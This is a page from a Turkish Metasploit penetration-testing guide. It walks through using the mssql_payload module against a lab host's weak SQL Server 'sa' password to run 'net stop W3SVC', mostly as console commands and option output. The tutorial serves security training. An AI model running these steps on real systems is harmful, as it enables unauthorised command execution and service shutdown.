Metasploit framework-Kullanim rehberi 0.8

Metasploit Framework ile Sistem Sızma Testleri Aralık 2012
Hazırlanan örnekte hedefin Microsoft IIS (TCP port 80) ve Microsoft SQL (TCP port
1433) servislerine erişim sağlanabilmektedir, diğer portlar ve servislere erişim olmadığı
varsayılacaktır. Öncelikle connect komutu ile Microsoft IIS servisinin etkin olduğu
doğrulanır, sonrasında Microsoft SQL servisinin yönetici şifresinden kaynaklanan
güvenlik açığı ile hedef sistemde “net stop W3SVC” komutu çalıştırılır.
msf exploit(mssql_payload) > connect -z 192.168.1.32 80
[*] Connected to 192.168.1.32:80
msf exploit(mssql_payload) > set PAYLOAD windows/exec
PAYLOAD => windows/exec
msf exploit(mssql_payload) > set CMD "net stop W3SVC"
CMD => net stop W3SVC
msf exploit(mssql_payload) > show options
Module options (exploit/windows/mssql/mssql_payload):
Name Current Setting Required Description
---- --------------- -------- -----------
METHOD cmd yes Which payload delivery method to use
(ps, cmd, or old)
PASSWORD PASSWORD no The password for the specified
username
RHOST 192.168.1.32 yes The target address
RPORT 1433 yes The target port
USERNAME sa no The username to authenticate as
USE_WINDOWS_AUTHENT false yes Use windows authentification
(requires DOMAIN option set)
Payload options (windows/exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD net stop W3SVC yes The command string to execute
EXITFUNC process yes Exit technique: seh, thread, process, none
Exploit target:
Id Name
-- ----
0 Automatic
GamaSEC Bilgi Güvenliği Denetim ve Danışmanlık Servisleri Sayfa 110